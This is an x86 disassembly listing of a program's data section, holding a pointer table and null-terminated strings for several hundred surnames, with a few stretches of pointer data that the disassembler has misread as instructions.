		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
; ---------------------------------------------------------------------------
		add	al, 0DAh
		inc	ebx
		add	[eax], dl
		fiadd	dword ptr [ebx+0]
		sbb	al, 0DAh
		inc	ebx
		add	[eax], ch
		fiadd	dword ptr [ebx+0]
		xor	al, 0DAh
		inc	ebx
		add	[edx+ebx*8], bh
		inc	ebx
		add	[edx+ebx*8+43h], al
		add	[edx+ebx*8+43h], cl
		add	[edx+ebx*8+43h], dl
		add	[eax-26h], ah
		inc	ebx
		add	[eax-26h], ch
		inc	ebx
		add	[eax-26h], dh
		inc	ebx
		add	[eax-26h], bh
		inc	ebx
		add	[eax-77FFBC26h], al
		fiadd	dword ptr [ebx+0]


loc_43B148:				; CODE XREF: ___:0043B16Cj
		nop
		fiadd	dword ptr [ebx+0]
		pushf
		fiadd	dword ptr [ebx+0]
		movsb
		fiadd	dword ptr [ebx+0]
		lodsb
		fiadd	dword ptr [ebx+0]
		mov	eax, 0C00043DAh
		fiadd	dword ptr [ebx+0]
		enter	43DAh, 0
		rcr	dl, 1
		inc	ebx
		add	al, bl
		fiadd	dword ptr [ebx+0]
		loopne	loc_43B148
		inc	ebx
		add	al, ch
		fiadd	dword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
; ---------------------------------------------------------------------------
		pushf


loc_43B1C1:				; CODE XREF: ___:0043B1E4j
		fild	dword ptr [ebx+0]
		movsb
		fild	dword ptr [ebx+0]
		lodsb
		fild	dword ptr [ebx+0]
		mov	ah, 0DBh
		inc	ebx
		add	[ebx+ebx*8-243BFFBDh], bh
		inc	ebx
		add	ah, cl
		fild	dword ptr [ebx+0]
		rcr	bl, 1
		inc	ebx
		add	ah, bl
		fild	dword ptr [ebx+0]
		loopne	loc_43B1C1
		inc	ebx
		add	al, ch
		fild	dword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_439FD0o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:00439FD4o
		align 4
aAdams		db 'Adams',0            ; DATA XREF: ___:00439FD8o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_439FDCo
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:00439FE0o
		align 10h
aAdibe		db 'Adibe',0            ; DATA XREF: ___:00439FE4o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:00439FE8o
		align 10h
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:00439FECo
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:00439FF0o
		align 10h
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:00439FF4o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:00439FF8o
		align 10h
aAleks		db 'Aleks',0            ; DATA XREF: ___:00439FFCo
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0043A000o
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0043A004o
		align 4
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0043A008o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0043A00Co
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0043A010o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0043A014o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0043A018o
		align 10h
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0043A01Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0043A020o
		align 10h
aAnand		db 'Anand',0            ; DATA XREF: ___:0043A024o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0043A028o
		align 10h
aAndo		db 'Ando',0             ; DATA XREF: ___:0043A02Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0043A030o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0043A034o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0043A038o
		align 4
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0043A03Co
		align 10h
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0043A040o
aAntos		db 'Antos',0            ; DATA XREF: ___:0043A044o
		align 10h
aArbia		db 'Arbia',0            ; DATA XREF: ___:0043A048o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0043A04Co
aArellano	db 'Arellano',0         ; DATA XREF: ___:0043A050o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0043A054o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0043A058o
		align 10h
aArky		db 'Arky',0             ; DATA XREF: ___:0043A05Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0043A060o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0043A064o
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0043A068o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0043A06Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0043A070o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0043A074o
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0043A078o
aAyling		db 'Ayling',0           ; DATA XREF: ___:0043A07Co
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0043A080o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0043A084o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0043A088o
		align 10h
aBady		db 'Bady',0             ; DATA XREF: ___:0043A08Co
		align 4
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0043A090o
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0043A094o
aBailar		db 'Bailar',0           ; DATA XREF: ___:0043A098o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0043A09Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0043A0A0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0043A0A4o
		align 10h
aBallew		db 'Ballew',0           ; DATA XREF: ___:0043A0A8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0043A0ACo
		align 10h
aBanta		db 'Banta',0            ; DATA XREF: ___:0043A0B0o
		align 4
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0043A0B4o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0043A0B8o
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0043A0BCo
		align 4
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0043A0C0o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0043A0C4o
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0043A0C8o
		align 4
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0043A0CCo
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0043A0D0o
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0043A0D4o
		align 4
aBarry		db 'Barry',0            ; DATA XREF: ___:0043A0D8o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0043A0DCo
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0043A0E0o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0043A0E4o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0043A0E8o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0043A0ECo
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0043A0F0o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0043A0F4o
		align 10h
aBayles		db 'Bayles',0           ; DATA XREF: ___:0043A0F8o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0043A0FCo
		align 10h
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0043A100o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0043A104o
		align 10h
aBean		db 'Bean',0             ; DATA XREF: ___:0043A108o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0043A10Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0043A110o
		align 4
aBedford	db 'Bedford',0
aBehenna	db 'Behenna',0
aBelanger	db 'Belanger',0
		align 4
aBelaoussof	db 'Belaoussof',0
		align 10h
aBelfer		db 'Belfer',0
		align 4
aBelinCollart	db 'Belin-Collart',0
		align 4
aBellavance	db 'Bellavance',0
		align 4
aBellhouse	db 'Bellhouse',0
		align 10h
aBellini	db 'Bellini',0
aBelloc		db 'Belloc',0
		align 10h
aBenedictDye	db 'Benedict-Dye',0
		align 10h
aBergson	db 'Bergson',0
aBerkeJenkins	db 'Berke-Jenkins',0
		align 4
aBernardo	db 'Bernardo',0
		align 4
aBernassola	db 'Bernassola',0
		align 10h
aBernston	db 'Bernston',0
		align 4
aBerrizbeitia	db 'Berrizbeitia',0
		align 4
aBetti		db 'Betti',0
		align 4
aBeynart	db 'Beynart',0
aBiagioli	db 'Biagioli',0
		align 4
aBickel		db 'Bickel',0
		align 10h
aBinion		db 'Binion',0
		align 4
aBir		db 'Bir',0
aBisema		db 'Bisema',0
		align 4
aBisho		db 'Bisho',0
		align 4
aBlackbourn	db 'Blackbourn',0
		align 4
aBlackwell	db 'Blackwell',0
		align 4
aBlagg		db 'Blagg',0
		align 4
aBlakemore	db 'Blakemore',0
		align 4
aBlanke		db 'Blanke',0
		align 10h
aBliss		db 'Bliss',0
		align 4
aBlizard	db 'Blizard',0
aBloch		db 'Bloch',0
		align 4
aBloembergen	db 'Bloembergen',0
aBloemhof	db 'Bloemhof',0
		align 10h
aBloxham	db 'Bloxham',0
aBlyth		db 'Blyth',0
		align 10h
aBolger		db 'Bolger',0
		align 4
aBolick		db 'Bolick',0
		align 10h
aBollinger	db 'Bollinger',0
		align 4
aBologna	db 'Bologna',0
aBoner		db 'Boner',0
		align 4
aBonham		db 'Bonham',0
		align 4
aBoniface	db 'Boniface',0
		align 10h
aBontempo	db 'Bontempo',0
		align 4
aBook		db 'Book',0
		align 4
aBookbinder	db 'Bookbinder',0
		align 10h
aBoone		db 'Boone',0
		align 4
aBoorstin	db 'Boorstin',0
		align 4
aBorack		db 'Borack',0
		align 4
aBorden		db 'Borden',0
		align 4
aBossi		db 'Bossi',0
		align 4
aBothman	db 'Bothman',0
aBotosh		db 'Botosh',0
		align 4
aBoudin		db 'Boudin',0
		align 4
aBoudrot	db 'Boudrot',0
aBourneuf	db 'Bourneuf',0
		align 4
aBowers		db 'Bowers',0
		align 10h
aBoxer		db 'Boxer',0
		align 4
aBoyajian	db 'Boyajian',0
		align 4
aBoyes		db 'Boyes',0
		align 4
aBoyland	db 'Boyland',0
aBoym		db 'Boym',0
		align 4
aBoyne		db 'Boyne',0
		align 4
aBracalente	db 'Bracalente',0
		align 10h
aBradac		db 'Bradac',0
		align 4
aBradach	db 'Bradach',0
aBrecht		db 'Brecht',0
		align 4
aBreed		db 'Breed',0
		align 10h
aBrenan		db 'Brenan',0
		align 4
aBrennan	db 'Brennan',0
aBrewer		db 'Brewer',0
		align 4
aBrewer_0	db 'Brewer',0
		align 10h
aBridgeman	db 'Bridgeman',0
		align 4
aBridges	db 'Bridges',0
aBrinton	db 'Brinton',0
aBritz		db 'Britz',0
		align 4
aBroca		db 'Broca',0
		align 4
aBrook		db 'Brook',0
		align 4
aBrzycki	db 'Brzycki',0
aBuchan		db 'Buchan',0
		align 4
aBudding	db 'Budding',0
aBullard	db 'Bullard',0
aBunton		db 'Bunton',0
		align 4
aBurden		db 'Burden',0
		align 4
aBurdzy		db 'Burdzy',0
		align 4
aBurke		db 'Burke',0
		align 4
aBurridge	db 'Burridge',0
		align 10h
aBusetta	db 'Busetta',0
aByatt		db 'Byatt',0
		align 10h
aByerly		db 'Byerly',0
		align 4
aByrd		db 'Byrd',0
		align 10h
aCage		db 'Cage',0
		align 4
aCalnan		db 'Calnan',0
		align 10h
aCammelli	db 'Cammelli',0
		align 4
aCammilleri	db 'Cammilleri',0
		align 4
aCanley		db 'Canley',0
		align 10h
aCapanni	db 'Capanni',0
aCaperton	db 'Caperton',0
		align 4
aCapocaccia	db 'Capocaccia',0
		align 10h
aCapodilupo	db 'Capodilupo',0
		align 4
aCappuccio	db 'Cappuccio',0
		align 4
aCapursi	db 'Capursi',0
aCaratozzolo	db 'Caratozzolo',0
aCarayannopoulo	db 'Carayannopoulos',0
aCarlin		db 'Carlin',0
		align 4
aCarlos		db 'Carlos',0
		align 4
aCarlyle	db 'Carlyle',0
aCarmichael	db 'Carmichael',0
		align 10h
aCaroti		db 'Caroti',0
		align 4
aCarper		db 'Carper',0
		align 10h
aCartmill	db 'Cartmill',0
		align 4
aCascio		db 'Cascio',0
		align 4
aCase		db 'Case',0
		align 4
aCaspar		db 'Caspar',0
		align 4
aCastelda	db 'Castelda',0
		align 10h
aCavanagh	db 'Cavanagh',0
		align 4
aCavell		db 'Cavell',0
		align 4
aCeniceros	db 'Ceniceros',0
		align 10h
aCerioli	db 'Cerioli',0
aChapman	db 'Chapman',0
aCharles	db 'Charles',0
aCheang		db 'Cheang',0
		align 10h
aCherry		db 'Cherry',0
		align 4
aChervinsky	db 'Chervinsky',0
		align 4
aChiassino	db 'Chiassino',0
		align 10h
aChien		db 'Chien',0
		align 4
aChildress	db 'Childress',0
		align 4
aChilds		db 'Childs',0
		align 4
aChinipardaz	db 'Chinipardaz',0
aChinman	db 'Chinman',0
aChristenson	db 'Christenson',0
aChristian	db 'Christian',0
		align 4
aChristiano	db 'Christiano',0
		align 4
aChristie	db 'Christie',0
		align 10h
aChristopher	db 'Christopher',0
aChu		db 'Chu',0
aChupasko	db 'Chupasko',0
		align 4
aChurch		db 'Church',0
		align 4
aCiampaglia	db 'Ciampaglia',0
		align 10h
aCicero		db 'Cicero',0
		align 4
aCifarelli	db 'Cifarelli',0
		align 4
aClaffey	db 'Claffey',0
aClancy		db 'Clancy',0
		align 4
aClark		db 'Clark',0
		align 4
aClement	db 'Clement',0
aClifton	db 'Clifton',0
aClow		db 'Clow',0
		align 4
aCoblenz	db 'Coblenz',0
aCoito		db 'Coito',0
		align 4
aColdren	db 'Coldren',0
aColella	db 'Colella',0
aCollard	db 'Collard',0
aCollis		db 'Collis',0
		align 4
aCompton	db 'Compton',0
aCompton_0	db 'Compton',0
aComstock	db 'Comstock',0
		align 10h
aConcino	db 'Concino',0
aCondodina	db 'Condodina',0
		align 4
aConnors	db 'Connors',0
aCorey		db 'Corey',0
		align 4
aCornish	db 'Cornish',0
aCosmides	db 'Cosmides',0
		align 4
aCounter	db 'Counter',0
aCoutaux	db 'Coutaux',0
aCrawford	db 'Crawford',0
		align 4
aCrocker	db 'Crocker',0
aCroshaw	db 'Croshaw',0
aCroxen		db 'Croxen',0
		align 4
aCroxton	db 'Croxton',0
aCui		db 'Cui',0
aCurrier	db 'Currier',0
aCutler		db 'Cutler',0
		align 4
aCvek		db 'Cvek',0
		align 10h
aCyders		db 'Cyders',0
		align 4
aDasilva	db 'daSilva',0
aDaldalian	db 'Daldalian',0
		align 4
aDaly		db 'Daly',0
		align 4
aDAmbra		db 'D',27h,'Ambra',0
aDanieli	db 'Danieli',0
aDante		db 'Dante',0
		align 4
aDapice		db 'Dapice',0
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0
aDas		db 'Das',0
aDasgupta	db 'Dasgupta',0
		align 10h
aDaskalu	db 'Daskalu',0
aDavid		db 'David',0
		align 10h
aDawkins	db 'Dawkins',0
aDegennaro	db 'DeGennaro',0
		align 4
aDelapena	db 'DeLaPena',0
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0
		align 4
aDerousse	db 'deRousse',0
		align 4
aDebroff	db 'Debroff',0
aDees		db 'Dees',0
		align 4
aDefeciani	db 'Defeciani',0
		align 4
aDelattre	db 'Delattre',0
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0
		align 10h
aDelger		db 'Delger',0
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0
		align 4
aDeming		db 'Deming',0
		align 4
aDempster	db 'Dempster',0
		align 4
aDemusz		db 'Demusz',0
		align 10h
aDenault	db 'Denault',0
aDenham		db 'Denham',0
		align 10h
aDenison	db 'Denison',0
aDesombre	db 'Desombre',0
		align 4
aDeutsch	db 'Deutsch',0
aDFini		db 'D',27h,'fini',0
		align 4
aDicks		db 'Dicks',0
		align 4
aDiefenbach	db 'Diefenbach',0
		align 4
aDifabio	db 'Difabio',0
aDifronzo	db 'Difronzo',0
		align 4
aDilworth	db 'Dilworth',0
		align 4
aDionysius	db 'Dionysius',0
		align 4
aDirksen	db 'Dirksen',0
aDockery	db 'Dockery',0
aDoherty	db 'Doherty',0
aDonahue	db 'Donahue',0
aDonner		db 'Donner',0
		align 4
aDoonan		db 'Doonan',0
		align 4
aDore		db 'Dore',0
		align 4
aDorf		db 'Dorf',0
		align 4
aDosi		db 'Dosi',0
		align 4
aDoty		db 'Doty',0
		align 4
aDoug		db 'Doug',0
		align 4
aDowsland	db 'Dowsland',0
		align 4
aDrinker	db 'Drinker',0
aDSouza		db 'D',27h,'souza',0
aDuffin		db 'Duffin',0
		align 10h
aDurrett	db 'Durrett',0
aDussault	db 'Dussault',0
		align 4
aDwyer		db 'Dwyer',0
		align 4
aEardley	db 'Eardley',0
aEbeling	db 'Ebeling',0
aEckel		db 'Eckel',0
		align 4
aEdley		db 'Edley',0
		align 4
aEdner		db 'Edner',0
		align 4
aEdward		db 'Edward',0
		align 4
aEickenhorst	db 'Eickenhorst',0
aEliasson	db 'Eliasson',0
		align 4
aElmendorf	db 'Elmendorf',0
		align 10h
aElmerick	db 'Elmerick',0
		align 4
aElvis		db 'Elvis',0
		align 4
aEncinas	db 'Encinas',0
aEnyeart	db 'Enyeart',0
aEppling	db 'Eppling',0
aErbach		db 'Erbach',0
		align 4
aErdman		db 'Erdman',0
		align 4
aErdos		db 'Erdos',0
		align 4
aErez		db 'Erez',0
		align 4
aEspinoza	db 'Espinoza',0
		align 4
aEstes		db 'Estes',0
		align 10h
aEtter		db 'Etter',0
		align 4
aEuripides	db 'Euripides',0
		align 4
aEverett	db 'Everett',0
aFabbris	db 'Fabbris',0
aFagan		db 'Fagan',0
		align 4
aFaioes		db 'Faioes',0
		align 4
aFalcoAcosta	db 'Falco-Acosta',0
		align 4
aFalorsi	db 'Falorsi',0
aFaris		db 'Faris',0
		align 4
aFarone		db 'Farone',0
		align 4
aFarren		db 'Farren',0
		align 4
aFasso		db 'Fasso',27h,0
		align 4
aFates		db 'Fates',0
		align 4
aFeigenbaum	db 'Feigenbaum',0
		align 10h
aFejzo		db 'Fejzo',0
		align 4
aFeldman	db 'Feldman',0
aFernald	db 'Fernald',0
aFernandes	db 'Fernandes',0
		align 4
aFerrante	db 'Ferrante',0
		align 10h
aFerriell	db 'Ferriell',0
		align 4
aFeuer		db 'Feuer',0
		align 4
aFido		db 'Fido',0
		align 4
aField		db 'Field',0
		align 4
aFink		db 'Fink',0
		align 4
aFinkelstein	db 'Finkelstein',0
aFinnegan	db 'Finnegan',0
		align 4
aFiorina	db 'Fiorina',0
aFisk		db 'Fisk',0
		align 4
aFitzmaurice	db 'Fitzmaurice',0
aFlier		db 'Flier',0
		align 4
aFlores		db 'Flores',0
		align 10h
aFolks		db 'Folks',0
		align 4
aForester	db 'Forester',0
		align 4
aFortes		db 'Fortes',0
		align 4
aFortier	db 'Fortier',0
aFossey		db 'Fossey',0
		align 4
aFossi		db 'Fossi',0
		align 4
aFrancisco	db 'Francisco',0
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0
		align 10h
aFranz		db 'Franz',0
		align 4
aFrazierDavis	db 'Frazier-Davis',0
		align 4
aFreid		db 'Freid',0
		align 10h
aFreundlich	db 'Freundlich',0
		align 4
aFried		db 'Fried',0
		align 4
aFriedland	db 'Friedland',0
		align 10h
aFrisken	db 'Frisken',0
aFrowiss	db 'Frowiss',0
aFryberger	db 'Fryberger',0
		align 4
aFrye		db 'Frye',0
		align 4
aFujiiAbe	db 'Fujii-Abe',0
		align 10h
aFuller		db 'Fuller',0
		align 4
aFurth		db 'Furth',0
		align 10h
aFusaro		db 'Fusaro',0
		align 4
aGabrielli	db 'Gabrielli',0
		align 4
aGaggiotti	db 'Gaggiotti',0
		align 10h
aGaleotti	db 'Galeotti',0
		align 4
aGalwey		db 'Galwey',0
		align 4
aGambini	db 'Gambini',0
aGarfield	db 'Garfield',0
		align 4
aGarman		db 'Garman',0
		align 10h
aGaronna	db 'Garonna',0
aGeller		db 'Geller',0
		align 10h
aGemberling	db 'Gemberling',0
		align 4
aGeorgi		db 'Georgi',0
		align 4
aGerrett	db 'Gerrett',0
aGhorai		db 'Ghorai',0
		align 4
aGibbens	db 'Gibbens',0
aGibson		db 'Gibson',0
		align 4
aGilbert	db 'Gilbert',0
aGili		db 'Gili',0
		align 4
aGill		db 'Gill',0
		align 4
aGillispie	db 'Gillispie',0
		align 4
aGist		db 'Gist',0
		align 10h
aGleason	db 'Gleason',0
aGlegg		db 'Glegg',0
		align 10h
aGlendon	db 'Glendon',0
aGoldfarb	db 'Goldfarb',0
		align 4
aGoncalves	db 'Goncalves',0
		align 10h
aGood		db 'Good',0
		align 4
aGoodearl	db 'Goodearl',0
		align 4
aGoody		db 'Goody',0
		align 4
aGozzi		db 'Gozzi',0
		align 4
aGravell	db 'Gravell',0
aGreenberg	db 'Greenberg',0
		align 4
aGreenfeld	db 'Greenfeld',0
		align 4
aGriffiths	db 'Griffiths',0
		align 10h
aGrigoletto	db 'Grigoletto',0
		align 4
aGrummell	db 'Grummell',0
		align 4
aGruner		db 'Gruner',0
		align 10h
aGruppe		db 'Gruppe',0
		align 4
aGuenthart	db 'Guenthart',0
		align 4
aGunn		db 'Gunn',0
		align 4
aGuo		db 'Guo',0
aHa		db 'Ha',0
		align 4
aHaar		db 'Haar',0
		align 4
aHackman	db 'Hackman',0
aHackshaw	db 'Hackshaw',0
		align 10h
aHaley		db 'Haley',0
		align 4
aHalkias	db 'Halkias',0
aHallowell	db 'Hallowell',0
		align 4
aHalpert	db 'Halpert',0
aHambarzumjan	db 'Hambarzumjan',0
		align 4
aHamer		db 'Hamer',0
		align 4
aHammerness	db 'Hammerness',0
		align 4
aHand		db 'Hand',0
		align 10h
aHanssen	db 'Hanssen',0
aHarding	db 'Harding',0
aHargraves	db 'Hargraves',0
		align 4
aHarlow		db 'Harlow',0
		align 4
aHarrigan	db 'Harrigan',0
		align 10h
aHartman	db 'Hartman',0
aHartmann	db 'Hartmann',0
		align 4
aHartnett	db 'Hartnett',0
		align 10h
aHarwell	db 'Harwell',0
aHaviaras	db 'Haviaras',0
		align 4
aHawkes		db 'Hawkes',0
		align 4
aHayes		db 'Hayes',0
		align 4
aHaynes		db 'Haynes',0
		align 4
aHazlewood	db 'Hazlewood',0
		align 4
aHeermans	db 'Heermans',0
		align 4
aHeft		db 'Heft',0
		align 4
aHeiland	db 'Heiland',0
aHellman	db 'Hellman',0
aHellmiss	db 'Hellmiss',0
		align 4
aHelprin	db 'Helprin',0
aHemphill	db 'Hemphill',0
		align 4
aHenery		db 'Henery',0
		align 4
aHenrichs	db 'Henrichs',0
		align 10h
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0043A704o
		align 4
aHerrera	db 'Herrera',0
aHester		db 'Hester',0
		align 4
aHeubert	db 'Heubert',0
aHeyeck		db 'Heyeck',0
		align 4
aHimmelfarb	db 'Himmelfarb',0
		align 4
aHind		db 'Hind',0
		align 10h
aHirst		db 'Hirst',0
		align 4
aHitchcock	db 'Hitchcock',0
		align 4
aHoang		db 'Hoang',0
		align 4
aHock		db 'Hock',0
		align 4
aHoffer		db 'Hoffer',0
		align 4
aHoffman	db 'Hoffman',0
aHokanson	db 'Hokanson',0
		align 10h
aHokoda		db 'Hokoda',0
		align 4
aHolmes		db 'Holmes',0
		align 10h
aHoloien	db 'Holoien',0
aHolter		db 'Holter',0
		align 10h
aHolway		db 'Holway',0
		align 4
aHolzman	db 'Holzman',0
aHooker		db 'Hooker',0
		align 4
aHopkins	db 'Hopkins',0
aHorsley	db 'Horsley',0
aHoshida	db 'Hoshida',0
aHostage	db 'Hostage',0
aHottle		db 'Hottle',0
		align 10h
aHoward		db 'Howard',0
		align 4
aHoy		db 'Hoy',0
aHuey		db 'Huey',0
		align 4
aHuidekoper	db 'Huidekoper',0
		align 10h
aHungerford	db 'Hungerford',0
		align 4
aHuntington	db 'Huntington',0
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0043A784o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0043A788o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0043A78Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0043A790o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0043A794o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0043A798o
		align 4
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0043A79Co
		align 4
